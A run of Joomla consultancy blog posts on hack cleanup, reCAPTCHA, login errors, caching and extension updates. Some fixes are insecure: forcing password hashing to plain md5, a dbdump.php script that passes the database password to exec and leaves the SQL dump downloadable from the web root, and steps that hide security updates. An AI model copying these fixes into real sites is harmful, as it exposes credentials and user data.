So, how can this hack be fixed?

You might be wondering, how come we are insisting on the someone, even though that particular hack can be done in many, many ways? Well, because for all these websites, the hack was done the exact same way: some malicious code was inserted at the beginning of the loader.php file, which is located under the /libraries/ folder. Fixing the hack consisted of simply removing that malicious code (the malicious code is obvious, and it starts before the standard Joomla comments for any particular file).

Is there a way to check if a 3.2.1 Joomla website is hacked before Google knows about it?

Here’s our little secret. We have installed a FireFox extension (on all our machines) called the User Agent Switcher, which allows us to view a website the way it’s seen by Googlebot. If you install this extension on your FireFox browser, you’ll be able to see it the same way Google sees it. We suggest that you do install it, and that you check your website at least once a day with the user agent switched to Googlebot 2.1. This will allow you to quickly discover the problem and fix it before even Google notices it!

If your Joomla 3.2.1 website is hacked, then try the above fix. If it didn’t work for you, then please contact us. We’ll fix the problem for you in no time and for a very reasonable fee!

reCAPTCHA Not Working on Your Joomla Website? Read This!

We were commissioned, earlier this week, to integrate reCAPTCHA with JComments on a website belonging to a super-major news company.

Large companies usually have 2 environments, one called dev (for development), and one called prod (for production). Our job was to make the reCAPTCHA work on the development environment, and then, once everything’s OK, move the work to production.

The website was using Joomla 2.5, so all that we needed to do was to set the private and public key in Joomla’s Captcha – ReCaptcha plugin, and then add the necessary code to the right places in JComments (we will explain how we did this in a later post). The reCAPTCHA worked (after a lot of code-struggling) on the development environment: it was displaying properly and it was submitting properly. In other words, when the captcha was wrong, the comment was not saved and the user was requested to re-enter the captcha. When the captcha was correct, it was submitting properly. After the testing was done, we decided to move this to the production server. We thought that everything is going to work smoothly there, right? Wrong!

When the work was moved to production, we all assumed that everything will function as it should, and, at first glance, it did, since the captcha was being displayed properly. However, when we tried to save the comment, the form took forever to submit and eventually an error message told us that the captcha was wrong (even though it was correct). Also, even when the submission was wrong, the form took forever to submit (well, not really forever, but, in our business, 30 seconds is forever)!

After a lot of hair-pulling, nail-biting, and advil-swallowing, we narrowed down the problem to the following line in the file recaptcha.php which is located under the plugins/captcha/recaptcha folder:

while (!feof($fs))

$fs (in case you didn’t have time to read that file), is a socket handle open to the Google’s reCAPTCHA website. So, the problem was that the application was not able to read from that socket. We thought that the problem was related to the PHP instance on the production environment (we suspected that allow_url_fopen was set to No), but, to our surprise, the php.ini file on production was identical to that on development. We then thought that it might be something in the .htaccess file, but again, both .htaccess files were identical (dev and prod).

We then changed the plugin to use curl (instead of fsockopen) to connect to the reCAPTCHA server, and while this worked on the development server, it still didn’t work on the production server. At this point, we became sure that the problem had to do with the firewall.

So, we informed the networking team of the problem, and they discovered the cause: The development environment was bypassing the proxy, while the production environment was running behind the proxy. We did a quick research on the problem, and it turned out that Google knows about this and already has a solution. In short, the networking team had to whitelist some IPs (Google IPs) on the firewall, and they did, and that fixed the problem! Hurray!

If you have problems with reCAPTCHA on your Joomla website, then feel free to contact us. We will fix those problems for a very affordable fee and in no time!

“Allow User Registration” Should Be Set to “No” By Default on Joomla

We get constant calls from clients telling us that their Joomla websites were hacked, that they are seeing, in the User Manager, new and suspicious users every day, although they don’t have any registration form on their websites.

We first comfort them by telling them that their websites are most likely not hacked and what they’re experiencing is pure spam. We then tell them that they don’t have to have a registration form on their websites for spammers to spam their User Manager. In fact, spammers do not even use a registration form even if it exists, they have some tools to register automatically, provided Allow User Registration is set to “Yes”, which is the default. So, what is that Allow User Registration?

The Allow User Registration is a Joomla setting (you can see this field by logging in to the backend, and then going to Users -> User Manager, and then clicking on the Options button on the top right, and finally clicking on the Component tab), that, when set to “Yes” (which is the default), will permit users to register through the website. In other words, Joomla’s own core will allow user registration when the value of this setting is “Yes”. Clearly, if your User Manager is getting spammed, and you don’t need to have people register on your website, then the best thing that you should do is to set its value to “No”.

Now, the question is, why is the Allow User Registration defaulted to “Yes”? We’re not exactly sure. We think that the Joomla developers assume that by enabling user registration by default they make the life of Joomla administrators easier if they want people to register on their websites. Maybe that’s their logic, but, in this day and age, where spammers and hackers are always searching for a weak Joomla website to spam or to attack, we think it’s a wiser move to disable user registration by default, and those who need this feature can enable it at will.

There you go, that’s our opinion about this whole issue. If your Joomla’s user manager is getting spammed and you don’t need people to register on your website, then disable user registration by setting the value of Allow User Registration to “No”. If, however, you want people to register, and you are getting many spam registrations, then please contact us. We can definitely fix this issue for you and we won’t charge you much!

“Username and password do not match or you do not have an account yet” Error – Cause and Fix

Yesterday evening we had a very interesting call from a new client. The new client told us that when trying to login to the frontend of his Joomla website, he’s always greeted with the following error message:

“Username and password do not match or you do not have an account yet”

He told us that he just migrated his website from Joomla 1.5 to Joomla 2.5, and he’s not able to login with any of his frontend users, even after resetting their passwords from the backend.

So, we tested the website and indeed, were were not able to login to the frontend even after resetting the password from the backend. We disabled SEF, we disabled caching, we disabled all 3rd party plugins, yet we still had the same problem.

We then thought, what if we reset the password from phpMyAdmin? So, we logged in to to phpMyAdmin and set the password of a random user in the #__users table to the MD5 equivalent of “password”. We then tried to login, and, to our surprise, the login worked!

So we compared that user’s password to another password, and we noticed that all the other users (that were not able to login), had a strong password. A strong password is a password that starts with $P$. For some reason, strong passwords were not working, and the reset functionality, as well as the user creation functionality, were generating strong passwords.

So, what did we do to fix the problem?

The fix was extremely easy, all we needed to do was to ensure that any password generation/reset uses the MD5 encryption. Here’s what we did in order for that to happen:

  • We opened the file helper.php located under the libraries/joomla/user folder.

  • We added the following line to the beginning of the hashPassword function in the aforementioned file:

    return md5($password);

  • We re-uploaded the file to its corresponding place.

  • The problem was solved.

We didn’t have enough time to investigate why strong passwords were not working (and why only MD5 encrypted passwords were working), but we suspect this has something to do with a wrong migration of the users’ data, as well as the presence of some legacy files from the old Joomla website. We’re really not sure on this one.

What we know, however, is that our fix worked! In case you have the same problem, then try the above quick fix and see if it works for you. If it doesn’t, well, all you need to do is to contact us. We’ll fix it for you in as little time as possible and for a very affordable fee.

Login to Joomla Administrator Not Working and No Error Is Displayed – Part II

OK – this post is Part II because we have discussed the same exact issue before – however, the cause of the issue was different then. In fact, we knew there must be other reasons for this problem to happen, and, unfortunately, we were not disappointed…

Earlier today a lady who has an apparel website called us and told us that she’s not able to login to her Joomla website with her usual password. So we reset her password, and we tried to login, but it didn’t work, and we didn’t see any error. Immediately we thought that the cause for this problem was the same to the one we had before, and so we checked whether all the plugins related to the login activity were enabled, and they were. Odd!

So we thought, maybe some of the files related to the login were corrupted, and so we overwrote all the client’s core Joomla files with copies from a fresh installation (we ensured, of course, that we were using the same version of Joomla, and we backed up the website before doing this). This didn’t work either…

So, we started debugging the Joomla website at a lower level. We printed, in the index.php file (that is under the administrator folder), the $_POST variable. We did this by adding the following line to the beginning of that file:

print_r($_POST);

We then tried to login, and, to our surprise, the $_POST array was empty. This means that the fields filled in in the login form where not transferred to the page that Joomla was submitting to. That was extremely odd. We have been working with PHP since the late 90s and we have never seen this before (well, $_POST was called $HTTP_POST_VARS back then, but still). We thought it was a problem with the website’s server, but after doing a quick test (e.g. uploading a self-submitting HTML form to another web accessible location on the server and making sure that the $_POST array is not empty), we were sure that the problem only existed on the website itself.

So what could make a website’s environment different from the rest of the server?

According to our experience, there are two files that can override the server’s settings (in a LAMP environment) at the website level:

  1. The .htaccess file.

  2. A local php.ini file.

The website didn’t have a php.ini file, but it had a weird .htaccess file. Here’s how it looked like:

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_HOST} ^ourclientjoomlawebsite [NC]
RewriteRule ^(.*)$ http://www.ourclientjoomlawebsite/$1 [L,R=301]

Options +FollowSymLinks
RewriteCond %{THE_REQUEST} ^.*/index.php
RewriteRule ^(.*)index.php$ http://www.ourclientjoomlawebsite/$1 [R=301,L]

## ERROR PAGES
##
ErrorDocument 404 /404.html

Hmmmmmm! That’s not what a Joomla .htaccess file should look like. So we overwrote the .htaccess with a fresh copy from a clean Joomla installation (same version), and the problem was solved! It was as easy as that!

It literally took us hours to solve this problem – we hope that those of you who are reading this post (and who have this problem – if you’re reading this post just for fun then we’re flattered, but maybe you should consider finding another hobby! ) can solve it in under a minute. If you can’t, then feel free to contact us and we will solve your problem. Our fees are extremely affordable, our work is professional, and we are super friendly!

Joomla and PHP’s Drop of the MySQL Extension

There’s been a lot of talk lately that PHP is dumping the mysql extension from its core, and how that move will impact major Content Management Systems such as Joomla, WordPres, and Drupal.

First, let us explain, briefly, what this is all about…

PHP, in its current incarnation, has several built-in extensions (or libraries) that it can use to talk to a MySQL database. These extensions include, but are not limited to: mysql (ext/mysql), mysqli (ext/mysqli), and pdo_mysql (ext/mysql_pdo). All these libraries do the job, but the mysql (ext/mysql) library is the least performing of the bunch, it is also very insecure. See, the problem with this library is that it was written ages ago in PHP 4 to support MySQL 3, so it inherited the limitations (and insecurity) of both. In this day and age, when there are very few servers running PHP 4, and even fewer running MySQL 3 (actually there shouldn’t be any server on this planet running MySQL 3, but you never know), the use of this library is no longer necessary (note that Joomla needs at least PHP 5 and MySQL 5 to work), in fact, it is discouraged, and that’s why PHP deprecated the mysql extension in its 5.5 version (by the way, when an extension is deprecated, it still works, but any use of any function belonging to that extension will throw a deprecated notice).

PHP intends to remove its support of the mysql legacy library (access to the MySQL database will still be supported by the other libraries, of course) in the next few years. Unfortunately, this is not an easy move, because this move means that any PHP function that starts with mysql_ will throw a fatal error. Naturally, this will cause many websites out there to stop working. In fact, every single WordPress website will cease to work because WordPress still uses that old extension.

But what about Joomla?

The Joomla team thankfully did the right thing with the early adoption of the mysqli extension. In fact, Joomla uses the mysqli extension, by default, for all MySQL activities. This means that Joomla’s core will not be affected at all by PHP’s move to remove the legacy extension (unless, of course, you have forced the use of the mysql extension by going to Site -> Global Configuration -> Server and changing the value of Database Type under Database Settings to mysql) . However, there are some Joomla extensions that either access the database directly or through their own database layer – such extensions may be using the old mysql library. If this is the case, then these extensions need to be modified to use the mysqli extension.

And what about WordPress?

It seems that WordPress will start supporting the mysqli extension in its 3.9 version, in conjunction with the the old mysql extension. It is not clear on whether WordPress will use the mysqli library by default in its installation, but at least this is a move in the right direction.

And how about Drupal?

Drupal is very similar to Joomla in that regards. It currently supports both extensions and defaults to the mysqli extension.

Is that PHP move really necessary?

Unfortunately – it is – for both PHP and MySQL… MySQL is forced to preserve some legacy code for that library (or extension) to work, and that legacy code is causing some serious overhead for MySQL’s developers. This is more or less the same for PHP, which has to maintain an extension that should no longer be used.

We hope that this post clarified the issue. If you have a Joomla extension that is using the mysql extension, then fear not, we can modify the extension to make it work with the mysqli extension. All you need to do is to contact us and we’ll fix it in no time and at a very low cost!

The #1 Reason Why Companies Switch from Joomla to Drupal

We had a phone call earlier this week from a client telling us that the IT department of his company wants to move the website from Joomla to Drupal. The client was actually the CFO of the company, and he was having a hard time understanding the real reason to switch the website to another CMS, when the current website works!

The client told us that the answer coming from his IT department was something like: “Drupal is more secure”, “Drupal is more stable”, “Drupal is faster”, “Drupal can handle large amount of traffic”, “Drupal is used by many Fortune 500 companies”, etc…

The client wanted our opinion. So we asked the client, “How many visitors do you have per day?” He told us that they have about 3,000 visitors, “And how many pages the website has?”, we continued, “Approximately 2,000 pages are indexed by Google, and we add a blog post every week”, he replied. “That’s not a lot”, we said, and it certainly doesn’t justify moving to Drupal for “performance reasons”. In any case, even if your Joomla website reaches a point where it can no longer handle the traffic, then you can optimize it…

“OK”, the client said, “but Drupal is more secure, no?”. “Definitely not”, we said, “The reason why Joomla seems less secure than Drupal is because Joomla is used by many small businesses because of its simplicity and friendly interface, and these small businesses can’t afford to always update their websites to the latest version, run security checks on their websites, and control the security of the environment that their websites run on, and that’s why their websites get eventually hacked”.

“How about stability?”, the client asked. “Joomla is very stable.”, we answered, “Instability issues in Joomla are, nearly always, caused by some 3rd party extensions. This problem exists in Drupal as well, and in any other CMS, for that matter. It’s just that a Drupal website requires a team of professionals to maintain, and those professionals tend to fix the bugs on the fly. Most Joomla websites, on the other hand, are managed and maintained by a single person, who is typically non-technical.”

“Then why is Drupal used by these Fortune 500 companies?”, the client continued. “Because the IT department in these Fortune 500 companies decided that. But bear in mind that there are some Fortune 500 companies that also use Joomla such a Citigroup and Intel (we serve Intel at itoctopus)”.

“So why does my IT department want to move us to Drupal?”, the client asked us while sounding frustrated.

We didn’t answer. What should we tell him? Should we tell him that the majority of IT decisions out there are made to ensure the continuity and the prosperity of the IT department, and not that of the company? Should we tell him that his IT department wants to go with Drupal because it’ll ensure that the business part of the company will become increasingly dependent on the IT department? Should we tell him that Joomla is much easier to use than Drupal, and such a move will make updating the website a task that should always be assigned to IT, regardless of the update? Should we tell him that this move will definitely increase the IT overhead on the company, since Drupal needs much more maintenance than Joomla and Drupal consultants are paid nearly the double of what Joomla consultants get (because of Drupal’s complexity)?

We didn’t know what to say, because we might be wrong, it might be that there’s a reason, a valid reason, why his IT department is doing this move. We just couldn’t figure it out, and that’s what we told our client, we said, “We don’t know, at least we hope that we don’t know.”

If your company is switching from Joomla to Drupal or from Drupal to Joomla and you need a sound technical advice, then feel free to contact us, we’re always there to help you make the right decision. Note that our super affordable fees apply.

A Small Script to Create a Database Dump for a Joomla Website

We get occasional requests from customers who don’t have access to a phpMyAdmin instance asking us to backup their whole database. Since we, at itoctopus, want to make the life of every Joomla website administrator easier, we are releasing the code for doing this, for free, for anyone to use! The code is below:

<?php
	ini_set('max_execution_time', 3600);
	require('configuration.php');
	$config = new JConfig();
	$dbFile = md5(microtime()).'.sql';
	exec('mysqldump --user='.$config->user.' --password='.$config->password.' --host='.$config->host.' '.$config->db.' > '.$_SERVER['DOCUMENT_ROOT'].$dbFile);
	echo('<a href=http://'.$_SERVER['SERVER_NAME'].'/'.$dbFile.' download>Download Database Export File</a>');
?>

All you need to do is to place the above code in a file called dbdump.php and put that file under the root directory of your Joomla site. Once you do that, just point your browser to http://yourjoomlawebsite.com/dbdump.php and you’ll be presented with a link to download the database backup (please note that it might take some time for the link to appear).

Note that the dbdump.php file must be under the root directory of your website and must be at the same level of the configuration.php file. If your configuration.php file is stored elsewhere, then you will need to hardcode the database settings into the script.

Now, here’s a little FAQ on this script:

  • Will it work on all databases?

    No – it won’t. It’ll only work on MySQL (which is the database powering over 90% of Joomla websites anyway), this is because it uses the MySQL tool called mysqldump. Other RDBMS’s have similar tools, although not as easy to use. Contact us if you’re using another RDBMS (such as Oracle, MySQL, or PostgreSQL) and we’ll create the export script for you.

  • Is it reliable?

    Yes – it is very reliable and you will be able to replicate your current database based on this export.

  • Will it take a long time to execute?

    That depends on the size of your database and your server’s horsepower. For small websites, it can take less than a second to finish. For very larges sites, it might take an hour or more (note that you will need to modify max_execution_time in the script to a higher value if your database is quite large).

  • Will it work on all Joomla versions?

    The script will work on Joomla versions 1.5.x, 1.6.x, 1.7.x, 2.5.x, and 3.2.x (3.5 is not yet released at the time of publishing this article). It will not work out of the box on Joomla 1.0, but it will work if you hardcode the database information in the script (e.g. replace $config->user with the actual user, etc…).

  • Will it work on Windows?

    We have not tested the script on Windows, but theoretically it should. If it doesn’t, then a small modification to the script should make it work.

  • Will it always work in a LAMP environment?

    On some servers it won’t. This is because the script uses the exec function, which is a dangerous function that is blocked on some servers. In case you’re wondering, if this function is blocked then it is typically blocked in the php.ini file (there’s a disable_functions variable there that is used to block dangerous PHP functions).

  • Will we help in case you need help?

    Definitely! That’s why we’re here for! All you need to do is to contact us! Please note that our extremely affordable fees apply.

Disable Update of Certain Extensions in Joomla

Note: Please read this post entirely before taking any action.

We occasionally get some developers calling us and asking us how to exclude extensions from showing up on the Extensions -> Extension Manager -> Update page. They usually tell us that the reason they want to do this is to prevent their clients from accidentally updating an extension that they have modified (in other words, they don’t want their clients to overwrite the work that they did for them on these extensions). So, we tell them that this can be done easily, here’s how:

  1. Login to phpMyAdmin and select the database that serves the website.

  2. Click on the table #__update_sites. Take note of the update_site_id value of all the extensions that you do not want to display on the Update page.

  3. Go to the table #__update_sites_extensions and delete all the rows that have an update_site_id matching the above.

  4. Now, go back to the #__update_sites table and delete all the rows of all the extensions that you do not want to update.

  5. Once that is done, you should login to the backend of the Joomla site and go to Extensions -> Extension Manager -> Update, and then click on Purge Cache on the top right.

An alternative way of hiding those extensions from the Update page is to substitute steps #3 and #4 in the above list with the following:

  • Go to the table #__update_sites and change the value of the field enabled to 0 for those extensions that you do not want to display on the Update page.

Note that the alternative method may or may not work for you, depending on your Joomla version, but it’s worth trying, because if it doesn’t, then you are going to delete these rows anyway.

But, isn’t that a bad thing to do? What if an update is actually a security update?

We agree that removing the update functionality for certain extensions is not best practice and can lead to security issues on the website, but, in some cases, such updates can create problems as described here, so they should be disabled. Additionally, and as discussed in the beginning of this post, a programmer can make some modifications to a 3rd party extension and an update can cause these modifications to be overwritten.

If you need help disabling the update of a problematic Joomla extension, then please contact us. We’ll solve the problem quickly for you and we won’t charge you much!

Disqus Displaying All the Comments on All the Pages on Joomla

This past Friday, we had a customer calling in and telling us that he just integrated Disqus (the famous commenting platform) on his Joomla website, but for some reason, every time someone makes a comment on one page, it appears on all the other pages. In other words, all the Disqus comments for that website were being displayed on all pages. That website is in the top 10,000 websites in the world so you can imagine how much frustration this issue was causing (for both our customer and the site’s visitors). Needless to say, the issue had to be fixed – and had to be fixed fast!

We looked at the website and we immediately located the problem, the problem was happening because the JavaScript Disqus variables were the same on every page: every article had those same JavaScript values on every page:

var disqus_url = 'http://ourclientwebsite.com';
var disqus_identifier = '1234567890';

Disqus is clear in its documentation that the above values must be different on every page for the comments to appear properly.

So, what did we do to solve the problem?

The first step towards solving the problem was knowing which plugin was responsible for generating the Disqus code, and it wasn’t really hard to find, it was the Disqus Comments for Joomla! by JoomlaWorks. The code responsible for generating the Disqus code was in the file jw_disqus /plugins/content/jw_disqus/ folder. So, we opened up that file, and we changed the following 2 lines:

var disqus_url = '".$output->itemURL."';
var disqus_identifier = '".substr(md5($disqusSubDomain), 0, 10)."_id".$row->id."';

to:

var disqus_url = '".JURI::current()."';
var disqus_identifier = '".substr(md5($disqusSubDomain), 0, 10)."_id".md5(JURI::current())."';

That fixed the problem, but, shortly after, we discovered that there was another problem! Because the site allowed for URL duplication (this means that a page can have multiple URLs), which can be regarded as a feature or as an issue (we think it’s the latter because of the SEO implications), the above code did not work properly, because it is displaying the comments per URL, and not per page (this is because we’re using JURI::current() as the disqus_url), so, if someone makes a comment on a page, then the comment will only display on the URL that it was made on, and not on all the URLs pointing to that page (yes, we know, this is very confusing). It was a serious problem and we needed to resolve it.

So, how did we address the URL duplication issue?

Luckily, every URL on the site had the ID of the article it was pointing to in its last part, so, all we needed to do was to extract the ID from the URL, and create a fake but unique URL for every page, such as, http://ourclientwebsite/12345, where 12345 is the ID of the article. In order to do that, we added the following code to the jw_disqus.php file (the content plugin) just after line 201 ($output->disqusIdentifier…):

$arrCurrentURL = explode('/', JURI::current());
$lastCurrentURL = (int)$arrCurrentURL[count($arrCurrentURL) - 1];
if (!empty($lastCurrentURL))
	$strCurrentURL = JURI::root().$lastCurrentURL;
else
	$strCurrentURL = JURI::current();
$strCurrentURLHash = substr(md5($disqusSubDomain), 0, 10)."_id".md5($strCurrentURL);

We then changed the Disqus URL and identifier lines to the following:

var disqus_url = '".$strCurrentURL."';
var disqus_identifier = '".$strCurrentURLHash."';

We uploaded the file back and the issue was resolved!

If you have a problem with Disqus integration on your website, then please contact us. We are always an email or a call away, we don’t charge much, and you can rest assured that we will solve your problem in no time!

All Modules Suddenly Appearing on All Pages on Joomla

We got a call yesterday (well, technically, this morning) around 1:30 AM after midnight, it was a new client telling us that his Joomla website is completely messed up. He told us that all the modules are displaying on all the pages. We checked his website and we saw the problem: all published modules were appearing on all the pages, making the whole website look extremely weird.

In all fairness, we have been working on Joomla websites for a decade or so, and we have never, ever seen this problem. We were sure it was a plugin that was causing this problem, but we just didn’t know which one. The client’s website was a Joomla 2.5 website.

We went through all the 3rd party plugins and we noticed that the last plugin installed was the Advanced Module Manager plugin. We disabled this plugin and boom, the website is completely fixed! We were amazed since NoNumber, the Dutch development company that created that plugin, is known for its reliable extensions. In fact, that particular extension has a 5 star rating on Joomla’s JED (The Joomla Extensions Directory), which is extremely rare. Apparently, there was a huge bug in that extension that caused this problem. This means that with 3rd party extensions, you’re never really 100% safe.

Here are a few tips to follow when installing a 3rd party extension (especially when doing the install on mission critical websites) assuming you don’t have a development environment (if you have a development environment you can just do the install there and then port it to production):

  • Make sure you have immediate access to a developer before installing the extension. (We’re always available for help!).
  • Make sure you backup your website before installing the extension.

  • Check if the extension throws any errors when it’s installed. If it does, then don’t use the extension and contact your developer immediately.

  • Use the extension very carefully – especially when it’s a system plugin. Read the instructions and make sure that all the values of all the settings in that extension are correct.

  • If it’s a plugin, then enable it (and remain on the same page in the backend), and then go to your website and check if the everything works correctly and the plugin is doing what it should be doing. If it doesn’t, then disable it immediately and contact your developer.

Now, if you have the same problem on your Joomla website because of the Advanced Module Manager plugin (or because of any other plugin, for that matter), then please contact us. We can fix the problem for you in no time and for a very low cost. All you need to do is shoot us an email or give us a call (we always answer the phone!).

Joomla’s Media Manager Page Taking a Lot of Time to Load – How to Fix

We get constant calls from Joomla administrators telling us that their Media Manager page (the one accessible from the backend by going to Content -> Media Manager) takes an awfully long time to fully load. We then ask them, “how many images do you have under the main images folder?”, and the answer ranges from “a few hundred” to a “few thousand” pictures. “That’s exactly the reason why the Media Manager is slow”, we tell them, “you just have too many images under the root directory of the images folder”. “Why would that be a problem?”, they ask. And so we start explaining…

You see, when you go to the Media Manager page, Joomla grabs all the images under the root directory of the images directory, and displays them as thumbnails in an iframe. Note that Joomla does not physically create thumbnails, it just grabs the image, and displays it in thumbnail dimensions. Now, this is OK when you have a few dozen images under the main images folder, but, when you have a few hundreds or a few thousands, and when the size of each image is a few megs, then that page will take ages to load properly, even with an extremely fast Internet connection, because you’ll be literally loading Gigabytes of data (a Gigabyte is a thousand Megabyte).

So, what is the solution to this problem?

The solution, moving forward, is to store images in nested directories, and ensure that no directory has more than 50 images. You can follow different methodologies to create those nested directories. The nested directories can have meaningful and related names such as: images/fruits/apples, or images/vegetables/tomatoes/cherry-tomatoes/. An even easier approach is to put all the images used on one page under one folder, which is the id of that page, for example, images/id/5 is a folder that contains all the images that are used on the page which id is 5. Yes, there will be some redundancy issues (the same image will be in two places if it’s used on 2 pages), but such issues have zero effect on the stability and the performance of the website (in other words, you don’t need to worry about these redundancy issues unless, of course, you have a limited amount of available diskspace on your server).

The above solutions are manual. An even better solution, if you have a very large website with many images, is automatic, and it requires some modifications to the way the media manager works. In short, everytime you upload an image to the media manager, the media manager must convert the title of that image appended to the current Unix Timestamp to the MD5 equivalent, and then store it under the folder images/A/AB/ where AB is the first two characters of the MD5 equivalent, and A is the first character of the MD5 equivalent. For example, for an image with an MD5 value of 2b93fbdf27d43547bec8794054c28e00, the storage folder should be images/2/2b. Of course, the media manager must tell the user the exact storage folder so that the user can correctly reference it in the article. Now, this method is very complicated, and it requires some serious modifications to how Joomla works, but it’s the ideal solution to balancing the image folders on Joomla.

We know, many of you will probably think that the second method is much better than this one, but the second method has a limitation: a Linux folder cannot have more than 32,768 folders in it, which means that you can only store images for 32,768 articles. If you reach a point where you have more than 32,768 articles on your Joomla site, then you’re in trouble! (Assuming, of course, each article contains at least one image.) Note: You can modify the second method to place several sub-folders under another sub-folder. For example, for articles having ids ranging from 1 to 100, you place their folders under a folder named 1, for articles having ids ranging from 101 to 200, you place them under a folder named 2, etc… This will allow you to accommodate over 3 million articles with images!

OK, now how to fix the already huge images directory?

You will need to develop a script that will loop through all your content items, and, for each content item, it’ll do the following:

  • Create a list of all local images (including their paths) used by that content item.
  • Generate the new path of the image (by following the second or the third method above; the first is not feasible by using a script).

  • Copy the image file from the old path to the new path.

  • Replace all references of the old image path with the new image path in the content item.

  • Save the content item.

Now, once the loop is done, then the script must delete all the images that were already copied. (The script must maintain an index of all the copied images.)

This method, of course, is not flawless, especially if external websites are referencing your images directly and you actually care about those sites (this is rare but it does happen). Naturally, there is a solution to this problem, but it is outside the scope of this post.

We hope that you have found this post to be useful. If you need help implementing any of the above techniques, or if you need further information, then you’re at the right place. Just contact us and we’ll definitely solve this problem for you. Please note that our affordable fees apply!

Don’t Update Everything on Your Joomla Website in One Shot!

We constantly get clients who tell us that their website crashed after they have updated it. “And what did you update exactly?”, we ask them, and they reply that they have updated everything! And that’s the cause of the problem!

Updating a Joomla website should never be done in one shot. The first thing that you should do is to update Joomla’s core (if you have a modified core, then check this guide on how to do it). Then, you should wait for a week or so, to make sure that your website is stable, and after that you should start with updating your 3rd party extensions (one by one – you should always wait at least a week before updating the next extension).

By following the above method, you will be able to rapidly solve problems resulting from an update on your Joomla website, instead of spending a lot of time guessing which update crashed the website. Unfortunately, many Joomla administrators mistakenly believe that it’s better to do all the updates at once, and thus fall into the trap of conflicting updates.

One the same note, another issue that we have noticed is that quite a few Joomla administrators rush to updating their websites the moment Joomla releases a new update. This is a practice that we do not recommend. Joomla administrators must wait at least a couple of weeks to perform the update, since some (official) Joomla updates can crash the website, even if that website doesn’t have a modified core! Additionally, even an official Joomla update can introduce some serious security issues that may compromise your site. It’s always better to wait for community feedback before updating.

If you updated all of your Joomla website in one shot and are now left with a broken website, then fear not. We will fix the problem for you in no time and for a very reasonable cost – all you need to do is to contact us!

Joomla’s Own Caching Must Be Fixed!

Note: This post is a rant. What you will read here is our opinion of Joomla’s cache. There won’t be any “silver bullet” for fixing caching in Joomla in this post.

There is one feature in Joomla that gives many Joomla administrators lots and lots of headaches. Can you guess what it is? Well, it’s caching! Caching is by far the most dreadful and most horrible feature in Joomla, and, for some reason, even after nearly a decade, Joomla can’t get it right. The majority of issues caused on Joomla sites are related to caching, and the problem is, caching is a necessary evil, especially for very large sites.

So, what exactly is the problem with caching in Joomla?

If you don’t know the answer to this question, then most likely you were fortunate enough not to have to use caching on your site. Lucky you! But for the rest of us, the problems with Joomla’s caching are too numerous, here’s some:

  • Missing modules: Some of the modules will suddenly disappear when you enable caching. The thing is, this issue is erratic: now you see that menu module on the top, now you don’t! Clearing the cache usually solves the problem but only for a short while.

  • Broken components: Quite a few components break when caching is enabled. For example, a website that we were working on yesterday had the AdAgency extension installed, and clicking on any ad directed the visitor to a page with no content (the page simply consisted of the template and the modules) on the Joomla website (it didn’t redirect to the actual website linked to from that ad).

  • Broken functionality: Many core and non-core features can break when caching is enabled. Such features include: logging in to the website from the frontend, searching the Joomla website, and adding items to your cart (if you’re using VirtueMart).

  • Broken template: If your template gets broken out of the blue and you have caching enabled, then the first thing that you’ll need to do is to clear your cache and see if that solves the problem. In 90% of the cases, it does (the other 10% of broken template issues are usually caused by a plugin or a module).

  • Broken JavaScript: Some extensions generate dynamic JavaScript code, and there’s a reason for that: the JavaScript code must be unique for each user for these extensions to work properly. If caching is enabled, then that JavaScript will no longer be dynamic, and most likely it’ll break.

  • Delay until your changes appear: Joomla’s own caching is notorious for not knowing when you post something new on your website (or make an update to an already existing content item). Really, how hard is it for Joomla to check the affected pages caused by your update and to re-cache them? Currently, Joomla administrators have to wait until Joomla clears its cache so that they can see their changes (some delete the cache entirely so that they can see it immediately – however, this strategy does not work well on large Joomla sites).

The list is really endless, but we’ll stop here. Joomla’s caching is, without doubt, a great idea implemented horribly.

But why doesn’t the Joomla team do anything about it?

Unfortunately, the Joomla team doesn’t seem to admit that there’s an issue with caching. In fact, the team blames the user (for not knowing how to use caching) and 3rd party extensions (for not integrating well with caching) for all the problems related to caching. “Caching works well, but you don’t know how to use it, or the 3rd party extensions installed on your website don’t support it well.”

So that’s it? There’s no solution to this problem?

One solution to this problem is to use an alternative. There are some 3rd party caching extensions that seem to work much better than Joomla’s own caching and that give you control over what should be cached and what shouldn’t. These extensions are not flawless, but they work much better than Joomla’s own caching, which is, to say the least, a bit shameful.

The other solution is for the Joomla team to fix caching, to make it work properly and intelligently, and to give users more control over it. This, however, requires that the Joomla team admits there’s an actual problem with the core caching in the first place, which will probably never happen.

If you have a problem with caching in Joomla, then fear not, we’ll be able to fix it for you. Just contact us and we’ll work on your website until the problem is fixed. Note that our super affordable fees apply!

Which Tools Do We Use for Joomla Development?

This is a fun, light post for many of our customers who ask us about the tools that we use for Joomla development. So, for those of you who are wondering, here is the list of tools that we use to work on Joomla sites:

  • Total Commander: We use Total Commander to browse local files once we download them from the Joomla website. We also use it to zip/unzip folders, or to view files in a zipped folder without unzipping it.
  • EmEditor: EmEditor is, by far (and we’re talking light years far), the fastest and the most reliable editor on the market. We don’t use IDEs for Joomla development, we just use EmEditor. This editor can open files that are extremely large (we are talking several GBs large), and it will 1) match brackets, 2) syntax color the code based on the type of the file opened, and 3) allow for search and replace in multiple files (which is a very handy feature if we’re doing the same modification on multiple files). It also has some countless features that are extremely helpful for our work.

  • FileZilla: FileZilla, is, without doubt, the best FTP client out there. We use it all the time to download and upload to our client’s sites. It has a few quirks (sometimes it uploads a file to the wrong directory – but we’re always very careful when we’re using it), but still, it’s the best. Note that Total Commander has its own, built-in FTP client, but for some reason, it’s not as reliable as FileZilla.

  • Firefox: We use Firefox for all our web related activities on our clients’ sites, including, but not limited to, working on their WHM/cPanel, working on the backend of their Joomla website, and testing the frontend of their Joomla website. We also use Firefox to do research on Google, and to post on the itoctopus website!

  • Chrome: We use Chrome to debug JavaScript errors on our clients’ websites, as well as fixing CSS errors (or making CSS modifications). We also use Chrome to monitor the loading time of each item on the site, and to see whether the Joomla website is trying to connect to another (malicious) website before serving the page.

  • Citrix: We use Citrix to work on the Joomla websites of our large clients. Many of our large clients use Citrix that allow consulting companies to have VPN access to their development servers. Citrix is an extremely reliable tool and it’ll allow us to work smoothly with large clients.

  • Tortoise SVN client: A few of our large clients use SVN to handle the development on large websites. We use Tortoise SVN client for this purpose. Check this post to know when we can/cannot use SVN to work on a Joomla website.

If you need development help on your Joomla website, then look no further, we use the right tools and we have the best brains in this business. Just contact us and let us prove to you that we can live up to your standards – don’t forget to check our very affordable fees!

